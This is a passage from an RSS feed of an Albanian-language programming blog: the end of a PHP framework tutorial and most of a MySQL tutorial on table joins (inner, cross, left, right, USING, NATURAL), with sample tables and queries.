#339933;">-&gt;</span><span style="color: #004000;">loadFiles</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'celularet'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$tpl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">parse</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span></li><li>			<span style="color: #0000ff;">'site_title'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Feniksi Framework - Lista e Celulareve'</span><span style="color: #339933;">,</span></li><li>			<span style="color: #0000ff;">'title'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Lista e Celulareve'</span><span style="color: #339933;">,</span></li><li>			<span style="color: #0000ff;">'celularet'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$phones</span><span style="color: #009900;">&#41;</span></li><li>		<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$tpl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--> </p>
<p>Mbani mend që sa më tepër zgjerohet Libraria, aq më e ngarkuar dhe e vështirë bëhet për tu mirëmbajtur. Nëse shtoni klasa dhe ndihmësa pa fund, edhe nga ato që s&#8217;keni për ti përdorur kurrë, nuk do bëni asgjë më shumë se të kodini një Librari që i ngjan atyre të gatshme. Qëllimi është të jetë e përdorshme, jo një monolith kodi.</p>
<h2>Përfundimi</h2>
<p>I erdhi fundi kësaj guide të gjatë, por kjo s&#8217;do të thotë se i erdhi fundi Librarisë. Nëse keni interes, qoftë për të mësuar apo për ta përdorur për qëllimet tuaja, ju këshilloj seriozisht ta modifikoni në pafundësi. Mënyra më e mirë për të mësuar është praktika dhe kjo guidë këtë tenton të bëjë.</p>
<p>E gjithë Libraria, së bashku me kodin që kam shkruajtur në Controllers dhe Views, ka 777 rreshta. Duket sikur e kam bërë me qëllim! Në krahasim me 200.000+ apo 700.000+ që kanë Libraritë masive, duket si Librari lodër. Edhe nëse i shtoni funksionalitete të tjera, përfshi përmirësimet në klasa, klasa të tjera bazë dhe ndihmësa, e sigurtë është që do jetë sërisht nën 10.000 rreshta. Përfitoni një Librari të vogël, të lehtë për nga resurset dhe që e bën punën shumë mirë. Mbi të gjitha, sistemin e keni koduar vetë, e njihni shumë mirë dhe gjatë proçesit keni mësuar shumë. Vetëm kjo e fundit është një arsye e mirë për ta marrë këtë iniciativë.</p>
<p>Mësim të mbarë.</p>
]]></content:encoded>
			<wfw:commentRss>http://feniksi.com/web/php/framework-ne-stilin-beje-vete/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Bazat e MySQL 3 &#8211; Bashkimet e Tabelave</title>
		<link>http://feniksi.com/web/mysql/bazat-e-mysql-me-php-3-join/</link>
		<comments>http://feniksi.com/web/mysql/bazat-e-mysql-me-php-3-join/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 00:48:34 +0000</pubDate>
		<dc:creator>Fadion Dashi</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[inner join]]></category>
		<category><![CDATA[join]]></category>
		<category><![CDATA[left join]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[tabela]]></category>
		<category><![CDATA[using]]></category>

		<guid isPermaLink="false">http://feniksi.com/?p=2085</guid>
		<description><![CDATA[Në këtë pjesë të tretë të serisë së guidave reth MySQL do ju tregoj një nga konceptet më të vështira, por ndërkohë edhe më të përdorshme: JOIN. Bashkimi i tabelave është mënyra më e mirë për të marrë rezultate nga disa tabela në një kohë. Lexoni në vijim dhe do e kuptoni për çfarë po flas.]]></description>
			<content:encoded><![CDATA[<p>Në dy mësimet e mëparshme &#8211; <a href="http://feniksi.com/web/mysql/bazat-e-mysql-me-php-select-insert-update-dhe-delete/" title="Bazat e MySQL me PHP 1 – SELECT, INSERT, UPDATE dhe DELETE">mësimi 1</a> dhe <a href="http://feniksi.com/web/mysql/bazat-e-mysql-me-php-2-renditja-grupimi-limitimi-etj/" title="Bazat e MySQL me PHP 2 – Renditja, Grupimi, Limitimi, etj">mësimi 2</a> &#8211; kemi eksploruar komandat bazë të MySQL për marrje të dhënash, futje, ndryshim, fshirje, grupim, numërim, etj. Më e rëndësishmja është se ju kam treguar sa gjuhë e thjeshtë dhe intuitive është, me kombinim komandash që i ngjajnë shumë gjuhës së folur. Jam i sigurt që tashmë jeni të etur për më shumë!</p>
<blockquote><p>Në ndryshim nga guidat e mëparshme të emëruara &#8220;Bazat e MySQL me PHP&#8221;, kjo guidë dhe ato në vazhdim do të quhen thjeshtë &#8220;Bazat e MySQL&#8221;. Mësimet e para besoj ishin të mjaftueshme për t&#8217;ju treguar çfarë funksionesh përdoren në PHP për të bërë query dhe për të shfaqur rezultatet. Që tani, do ilustroj vetëm kodet SQL.</p></blockquote>
<p>Në këtë pjesë të tretë të serisë së guidave për MySQL do t&#8217;ju shpjegoj një nga konceptet më të vështirë, por njëkohësisht edhe më të domosdoshëm. Bëhet fjalë për bashkimin e tabelave dhe nxjerrjen e të dhënave njëkohësisht nga dy ose më shumë. Praktikisht, çdo tabelë që ka një lidhje me tabela të tjera mund të bashkohet me to në bazë të kushteve të caktuara. Përdorimi është shumë i gjerë dhe ju siguroj që do e kuptoni vlefshmërinë e tyre gjatë guidës. Mos u trembni gjithashtu nga vështirësia, sepse fundja jemi përsëri në mjedis MySQL dhe kompleksiteti i funksioneve është relativ. Thjeshtë tentoni ta ndiqni me kujdes guidën dhe mundësisht të kryeni teste paralele me ato që unë do demonstroj.</p>
<h2>Çfarë janë dhe pse na duhen JOINs</h2>
<p>Si ç&#8217;e përmenda pak më sipër, tabelat mund të bashkohen në momentin që kanë lidhje me njëra tjetrën. Lidhja mund të jetë çfarëdo, edhe një tekst &#8220;abc&#8221; që gjendet në të dyja tabelat. Në këtë rast, do thuhej që tabelat priten sipas një teksti arbitrar &#8220;abc&#8221;. Megjithatë, logjika normale për të bashkuar tabela është përmes çelësave. Një tabelë ka një FOREIGN KEY që referencon PRIMARY KEY të një tabele tjetër dhe prerja do krijohej pikërisht midis këtyre dy çelësave. Duke përdorur çelësa, jo vetëm që krijojmë një lidhje relacionale (fundja, SQL bazohet mbi lidhjet relacionale) dhe logjike midis tabelave, por gjithashtu shpejtojmë proçeset sepse motori i brendshëm i MySQL e di çfarë kërkon.</p>
<p>Dakort, tani e dini teorikisht çfarë janë bashkimet e tabelave. Por ku përdoren?! Kudo dhe gjithmonë! Vështirë se ka aplikacione me bazë të dhënash, qoftë edhe fare të vegjël, që nuk përdorin JOINs. Në momentin që në databazë ndodhet më shumë se një tabelë dhe është bërë normalizimi midis tyre, JOIN do hyjë në punë në një moment apo tjetrin. Megjithatë, edhe nëse nuk e keni krijuar idenë praktike se ku mund të përdoren, shembujt në vazhdim do e qartësojnë.</p>
<p>Bashkimet vijnë me disa shije të ndryshme për të kryer veprime që në thelb janë shumë të ngjashme. Do ju shpjegoj në hollësi se çfarë bën secili tip bashkimi dhe do e shoqëroj me shembuj praktikë.</p>
<h2>Tabelat për të Kryer Shembujt</h2>
<p>Kam krijuar dy tabela fare të thjeshta për të ilustruar shembujt. Të dyja tabelat kanë një pikë prerjeje që do më japë mundësinë të bëj bashkime. Shikoni si duken:</p>
<p><pre>
==================
Tabela "produktet"
==================
id	emri		cmimi
1	Celular		500
2	Televizor		800
3	Laptop		650
6	Kompjuter	1000

================
Tabela "blerjet"
================
id	prod_id		data
1	1		2011-09-23
2	1		2011-09-24
3	2		2011-09-22
4	3		2011-09-18
5	3		2011-09-19
6	3		2011-09-20
7	10		2011-09-22
</pre></p>
<p>E shihni ku prihen dy tabelat? Duhet të jetë e qartë tashmë që <em>blerjet.prod_id</em> referencon <em>produktet.id</em>. Çdo shitje që kryhet duhet të ketë ID-në e produktit, në mënyrë që të kuptohet se çfarë shitet. Në terminologji databazash, produtet.id quhet PRIMARY KEY (çelësi primar), ndërsa <em>blerjet.prod_id</em> quhet FOREIGN KEY (çelës i huaj). Pikërisht përmes këtyre çelësave do të bëjmë bashkimet e tabelave.</p>
<p>Mbani mend që në MySQL, vetëm motori i brendshëm &#8220;InnoDB&#8221; suporton përcaktimin e FOREIGN KEYS. Motori &#8220;MyISAM&#8221;, më i përdoruri në pjesën e madheve të aplikacioneve, nuk i suporton. Kjo s&#8217;do të thotë që s&#8217;mund të bëjmë JOINs! Mund të përdoren njësoj, vetëm se pa FOREIGN KEYS, MySQL nuk: 1) kontrollon nëse një çelësi egziston në tabelën referencë kur tentohet të shtohet një e dhënë dhe 2) nuk i rifreskon çelësat në rast se tabela referencë ndryshon. MyISAM dhe InnoDB kanë përdorimet e tyre. E para është më e shpejtë dhe më pak intensive në resurse, ndërsa e dyta është më e besueshme (sa i përket integritetit të të dhënave) dhe suporton transaksione. Zgjedhja varet tërësisht nga tipi i aplikacionit dhe për të mbetur në temë, s&#8217;duhet të ndodhë vetëm prej FOREIGN KEYS.</p>
<p>Le të eksplorojmë tipet e ndryshme të bashkimeve.</p>
<h2>JOIN, CROSS JOIN dhe INNER JOIN</h2>
<p>Në MySQL, JOIN, CROSS JOIN dhe INNER JOIN janë fjalë kyçe që bëjnë egzaktësisht të njëjtat veprime dhe mund të shkëmbehen me njëra tjetrën pa asnjë problem. Tipi i bashkimit ndryshon në bazë të përcaktimit ose jo të një pike të përbashkët dhe duke qenë se rezultatet janë shumë të ndryshme, do ju tregoj dy mënyrat si ndërtohet një JOIN.</p>
<p><strong>Bashkimi i Kryqëzuar</strong><br />
Bashkim i kryqëzuar (<a href="http://en.wikipedia.org/wiki/Cartesian_product" title="Produkti Kartezian">Prodhimi Kartezian</a>) ndodh kur nuk përcaktohet një kolonë e përbashkët. Në këtë rast, secili rresht i tabelës së parë bashkohet me të gjithë rreshtat e tabelës së dytë, për një rezultat që përmban [numrin e rreshtave të tabelës 1] x [numrin e rreshtave të tabelës 2]. Pra, nëse do kishim një tabelë me 5 rreshta që bashkohet me një tjetër që ka 7 rreshta, rezultati do të ishte një tabelë me 35 rreshta.</p>
<p>Sintaksa është shumë e thjeshtë dhe në të njëjtën vijë do vazhdojnë edhe bashkimet e tjera. Po ju jap katër query që bëjnë egzaktësisht të njëjtën gjë: bashkim të kryqëzuar. Query e fundit është mënyra më e thjeshtë për ta shkruar, sepse heq përdorimin e fjalëve kyçe JOIN, CROSS JOIN apo INNER JOIN.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">JOIN</span> tabela2;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">CROSS</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tabela2;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tabela2;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1<span style="color: #66cc66;">,</span> tabela2</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Për të vënë në punë tabelat që kam krijuar për shembujt, do shkruaj një query që kryqëzon të dhënat në tabelat që kemi:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> produktet<span style="color: #66cc66;">,</span> blerjet;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Query e mësipërme do të shfaqë rezultatet sipas figurës më poshë:</p>
<div id="attachment_2237" class="wp-caption aligncenter" style="width: 347px"><a href="http://feniksi.com/wp-content/uploads/2011/09/cross-join1.png" rel="shadowbox[sbpost-2085];player=img;"><img src="http://feniksi.com/wp-content/uploads/2011/09/cross-join1.png" alt="Rezultatet e nje CROSS JOIN ose INNER JOIN" title="Rezultatet e nje CROSS JOIN ose INNER JOIN" width="337" height="341" class="size-full wp-image-2237" /></a>
<p class="wp-caption-text">Rezultatet e një bashkimi të kryqëzuar</p>
</div>
<p><strong>Bashkimi në një Pikë</strong></p>
<p>Forma tjetër e përdorimit të një JOIN është duke përcaktuar një pikë prerjeje. Në këtë rast, rezultat do të ishin vetëm të dhënat e të dyja tabelave që plotësojnë kushtin. Mbani mend më lart ku ju përmenda PRIMARY KEYS dhe FOREIGN KEYS? Pikërisht këtu hyjnë në lojë. Që dy tabela të bashkohen në një pikë, duhet që të kenë fusha të përbashkëta dhe praktika e mirë sugjeron çelësat.</p>
<p>Sintaksa ndryshon pak nga shembulli i mësipërm sepse tani do na duhet të përcaktojmë kushtin. Përsëri do ju jap katër query që bëjnë egzaktësisht të njëjtën gjë. Cilën zgjidhni të përdorni mbetet në preferencat tuaja personale.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tab1 <span style="color: #993333; font-weight: bold;">JOIN</span> tab2 <span style="color: #993333; font-weight: bold;">ON</span> tab1<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>tab2<span style="color: #66cc66;">.</span>id;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tab1 <span style="color: #993333; font-weight: bold;">CROSS</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tab2 <span style="color: #993333; font-weight: bold;">ON</span> tab1<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>tab2<span style="color: #66cc66;">.</span>id;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tab1 <span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tab2 <span style="color: #993333; font-weight: bold;">ON</span> tab1<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>tab2<span style="color: #66cc66;">.</span>id;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tab1<span style="color: #66cc66;">,</span> tab2 <span style="color: #993333; font-weight: bold;">WHERE</span> tab1<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>tab2<span style="color: #66cc66;">.</span>id</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Duhet të jetë e qartë tashmë. Çfarë kërkohet nga një query e tillë janë rreshtat nga të dyja tabelat ky ID-të (apo çdo fushë tjetër që përcaktohet) janë të njëjta.</p>
<p>Përsëri do shohim një tjetër shembull me tabelat që kemi, ku do ti bashkoj në një pikë. Do të shihni përdorimin e një fjale kyçe: AS. Nuk bën asgjë më tepër se sa i vendos një emër tabelave ose kolonave për të ma lehtësuar shkrimin e kodit. Në vijim të guidës, do e përdor AS në pothuajse çdo query.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> p<span style="color: #66cc66;">.</span>emri<span style="color: #66cc66;">,</span> p<span style="color: #66cc66;">.</span>cmimi<span style="color: #66cc66;">,</span> b<span style="color: #66cc66;">.</span><span style="color: #993333; font-weight: bold;">DATA</span> <span style="color: #993333; font-weight: bold;">FROM</span> produktet <span style="color: #993333; font-weight: bold;">AS</span> p</li><li><span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> blerjet <span style="color: #993333; font-weight: bold;">AS</span> b</li><li><span style="color: #993333; font-weight: bold;">ON</span> p<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>b<span style="color: #66cc66;">.</span>prod_id;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Nuk besoj të duket e komplikuar dhe ndryshe nga sintaksa bazë. Pra, kam zgjedhur të gjithë rreshtat ku produtet.id = blerjet.prod_id. Kjo më vlen sepse vetëm me një query nxjerr raportin se cilat produkte janë shitur.</p>
<blockquote><p>Personalisht më pëlqen të përdor INNER JOIN sepse është semantikisht më kuptim-plotë se sa dy fjalët e tjera kyçe dhe më e lexueshme për ta dalluar nga tipet e tjera të bashkimeve. Megjithatë, kjo është tërësisht shija ime personale. Zgjidhni atë që ju pëlqen.</p></blockquote>
<p>Në figurën më poshtë është rezultati i query-t të mësipërme. Vini re që rreshti i produktit &#8220;Kompjuter&#8221; nuk shfaqet! Kjo sepse nuk ka asnjë shitje për të dhe si rrjedhim nuk ka asnjë rresht në tabelën e blerjeve që mban ID-në e tij.</p>
<div id="attachment_2241" class="wp-caption aligncenter" style="width: 228px"><a href="http://feniksi.com/wp-content/uploads/2011/09/cross-join2.png" rel="shadowbox[sbpost-2085];player=img;"><img src="http://feniksi.com/wp-content/uploads/2011/09/cross-join2.png" alt="Rezultatet e nje CROSS JOIN ose INNER JOIN" title="Rezultatet e nje CROSS JOIN ose INNER JOIN" width="218" height="125" class="size-full wp-image-2241" /></a>
<p class="wp-caption-text">Rezultatet e një bashkimi në një pikë</p>
</div>
<h2>STRAIGHT_JOIN</h2>
<p>Gjatë bashkimeve me INNER JOIN, MySQL tenton të përcaktojnë renditjen e skanimit të të dhënave në tabela që rezultati të jetë sa më optimal dhe i shpejtë në të njëjtën kohë. Kjo funksionon mirë, përveç disa rasteve të rralla ku mund të gabojë. Në ato raste, hyn në lojë STRAIGHT_JOIN.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">STRAIGHT_JOIN</span> tabela2;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Pra, atëherë kur rezultatet e një INNER JOIN nuk janë ato që prisni, provoni STRAIGHT_JOIN.</p>
<h2>LEFT OUTER JOIN</h2>
<p>Deri tani kemi parë kategorinë &#8220;INNER&#8221; të bashkimeve, të cilat prejnë tabelat dhe shfaqin vetëm të dhënat që ndodhen në të dyja. LEFT OUTER JOIN &#8211; mund të shkruhet edhe pa pjesën &#8220;OUTER&#8221; &#8211; është shumë e ngjashme me INNER JOIN. Edhe ajo bën bashkimin e tabelave në një pikë, por ndryshe nga INNER JOIN, shfaq edhe rezultatet e tabelës së majtë që nuk kanë pikë prerje me ato të tabelës së djathtë. Kahet majtas apo djathtas përcaktohen në bazë të vendosjes së tabelave në query relativisht me fjalën kyçe &#8220;LEFT JOIN&#8221;. Ju kuptoj nëse jeni konfuzë në këtë pikë, prandaj do kaloj në shembuj.</p>
<p>Pseudo-sintaksa e një LEFT JOIN shfaqet më poshtë.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> <span style="color: #66cc66;">&#91;</span>tabela majtas<span style="color: #66cc66;">&#93;</span> <span style="color: #993333; font-weight: bold;">LEFT</span> <span style="color: #993333; font-weight: bold;">JOIN</span> <span style="color: #66cc66;">&#91;</span>tabela djathtas<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">...</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Pra, rreshtat e [tabela majtas] do të shfaqen të gjitha, pavarësisht nëse kanë lidhje me ato të tabelës djathtas. Rreshtat e tabelës djathtas që nuk kanë lidhje me atë majtas, nuk do të shfaqen. Kjo është teoria pas LEFT JOIN dhe ndryshimi themelor midis saj dhe INNER JOIN. Tani le të shohim sintaksën e plotë.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">AS</span> t1</li><li><span style="color: #993333; font-weight: bold;">LEFT</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tabela2 <span style="color: #993333; font-weight: bold;">AS</span> t2</li><li><span style="color: #993333; font-weight: bold;">ON</span> t1<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>t2<span style="color: #66cc66;">.</span>id;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Asnjë ndryshim me INNER JOIN! Sintaksa e bashkimeve është praktikisht e njëjtë dhe ndryshon vetëm fjala kyçe. Si ç&#8217;ju thashë pak më sipër, pjesa &#8220;OUTER&#8221; është fakultative. Mund të shkruhet &#8220;LEFT OUTER JOIN&#8221; ose thjeshtë &#8220;LEFT JOIN&#8221;; nuk përbën asnjë ndryshim.</p>
<p>Ti kthehemi sërish tabelave të produkteve dhe blerjeve për të ilustruar LEFT JOIN. Në shembullin e fundit të INNER JOIN, bashkova tabelën e produkteve me atë të blerjeve për të marrë një rezultat që mbante të gjitha produktet e shitura. Mbani mend që produkti &#8220;Kompjuter&#8221; nuk ishte sepse nuk kishte asnjë shitje për të? Me LEFT JOIN kjo do të ndryshojë.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> produktet <span style="color: #993333; font-weight: bold;">AS</span> p</li><li><span style="color: #993333; font-weight: bold;">LEFT</span> <span style="color: #993333; font-weight: bold;">JOIN</span> blerjet <span style="color: #993333; font-weight: bold;">AS</span> b</li><li><span style="color: #993333; font-weight: bold;">ON</span> p<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>b<span style="color: #66cc66;">.</span>prod_id;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Rezultati i query-t të mësipërme shfaqet në figurën më poshtë.</p>
<div id="attachment_2243" class="wp-caption aligncenter" style="width: 363px"><a href="http://feniksi.com/wp-content/uploads/2011/09/left-join.png" rel="shadowbox[sbpost-2085];player=img;"><img src="http://feniksi.com/wp-content/uploads/2011/09/left-join.png" alt="Rezultati i nje LEFT JOIN" title="Rezultati i nje LEFT JOIN" width="353" height="143" class="size-full wp-image-2243" /></a>
<p class="wp-caption-text">Rezultatet e një bashkimi me LEFT JOIN</p>
</div>
<p>Duke qenë se produkti &#8220;Kompjuter&#8221; nuk ka asnjë rresht ekuivalent në tabelën e blerjeve, kolonat që i përkasin asaj tabele nuk kanë si të kenë vlerë dhe rrjedhimisht shënohen &#8220;NULL&#8221;. Nëse produkti &#8220;Kompjuter&#8221; do të kishte të paktën një blerje, në atë rast rezultatet e LEFT JOIN do të ishin identike me INNER JOIN. Ndryshimi egziston vetëm kur tabela e majtë ka rreshta që nuk reflektohen në tabelën e djathtë.</p>
<h2>RIGHT OUTER JOIN</h2>
<p>RIGHT JOIN është identik me LEFT JOIN, por këtu shfaqen rreshtat e tabelës së djathtë që nuk kanë referencë në tabelën e majtë. Logjika e funksionimit dhe sintaksa janë identike, prandaj do kaloj direkt në një shembull me tabelat tona.</p>
<p>Në tabelën e blerjeve kam një rresht (ai i fundit) që përcakton një blerje për një produkt që nuk egziston në tabelën e shitjeve. Normalisht, atë rresht se kemi parë deri tani sepse nuk kishte si të shfaqej as në INNER JOIN dhe as në LEFT JOIN. Por, do na shfaqet në një RIGHT JOIN!</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> produktet <span style="color: #993333; font-weight: bold;">AS</span> p</li><li><span style="color: #993333; font-weight: bold;">RIGHT</span> <span style="color: #993333; font-weight: bold;">JOIN</span> blerjet <span style="color: #993333; font-weight: bold;">AS</span> b</li><li><span style="color: #993333; font-weight: bold;">ON</span> p<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span>b<span style="color: #66cc66;">.</span>prod_id;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Rezultati i query-t të mësipërme shfaqet në figurën më poshtë. Vini re rreshtin e fundit që ashtu si tek LEFT JOIN, ka vendosur NULL tek kolonat e tabelës së produkteve, duke qenë se nuk ka prerje midis tyre.</p>
<div id="attachment_2246" class="wp-caption aligncenter" style="width: 375px"><a href="http://feniksi.com/wp-content/uploads/2011/09/right-join.png" rel="shadowbox[sbpost-2085];player=img;"><img src="http://feniksi.com/wp-content/uploads/2011/09/right-join.png" alt="Rezultatet e RIGHT JOIN" title="Rezultatet e RIGHT JOIN" width="365" height="143" class="size-full wp-image-2246" /></a>
<p class="wp-caption-text">Rezultatet e një bashkimi me RIGHT JOIN</p>
</div>
<h2>Komanda USING</h2>
<p>USING është një fjalë kyçe ndihmëse për bashkimet dhe mund të përdoret në të gjitha tipet që kemi përmendur deri tani. Ofrohet thjeshtë si një rrugë e shkurtër për bashkime që ndodhin në kolona me emër të njëjtë. Ndryshimi i vetëm midis përdorimit të USING dhe ON (si në query-it deri tani) është se nuk shfaqen të gjitha kolonat me të njëjtin emër, por vetëm një prej tyre. Pra, nëse tabelat priten në kolonat &#8220;id&#8221;, vetëm kolona e njërës tabelë do të shfaqet. Kjo vjen thjeshtë për të mënjanuar problemet në aksesimin e kolonave me të njëjtin emër.</p>
<p>Shihni query-t më poshtë me përdorimet e saj në disa tipe bashkimesh.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="SQL"><div class="devcodeoverflow"><ol><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">INNER</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tabela2 <span style="color: #993333; font-weight: bold;">USING</span><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">STRAIGHT_JOIN</span> tabela2 <span style="color: #993333; font-weight: bold;">USING</span><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">LEFT</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tabela2 <span style="color: #993333; font-weight: bold;">USING</span><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>;</li><li><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> tabela1 <span style="color: #993333; font-weight: bold;">RIGHT</span> <span style="color: #993333; font-weight: bold;">JOIN</span> tabela2 <span style="color: #993333; font-weight: bold;">USING</span><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>;</li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Në rastet e mësipërme kam supozuar që bashkimet ndodhin në kolonat ID të të dyja tabelave dhe si rrjedhim do kisha mundësinë të përdorja USING. Nëse kolonat do kishin emra të ndryshëm, USING s&#8217;do të kishte efekt. Në rastin e tabelave tona të produkteve dhe blerjeve është e pamundur të përdoret USING me emrat e kolonave që kam përcaktuar (produktet.id dhe blerjet.prod_id).</p>
<p>Personalisht nuk e përdor sepse stili im i emërimit të kolonave është i tillë ku çdo tabelë e ka çelësin primar ID dhe si rrjedhim është e pamundur të përdorësh USING. Disa preferojnë që çelësin primar ta emërojnë më me kuptim (psh: prodID) dhe vendosin të njëjtin emër në çelësin e huaj. Në ato raste, USING do ishte zgjidhje e mirë. Varet tërësisht nga stili juaj personal.</p>
<h2>NATURAL JOIN</h2>
<p>NATURAL JOIN është një formë speciale e ndërtimit të bashkimeve që i analizon automatikisht tabelat për emra të njëjtë kolonash dhe përdor ato kolona për të kryer bashkimin. Nëse tabelat nuk kanë asnjë kolonë me emër të njëjtë, rezultati do të jetë një &#8220;bashkim i kryqëzuar&#8221; si në shembullin e parë të guidës. Në rast se gjenden (një apo më shumë), prerja do të kryhet në ato kolona me të njëjtën logjikë si në bashkimet që kemi parë deri tani.</p>
<p>Po ju tregoj fillimisht disa shembuj sintaksorë të NATURAL JOIN, duke supozuar që tabela1 dhe tabela2 kanë kolona të përbashkëta.</p>
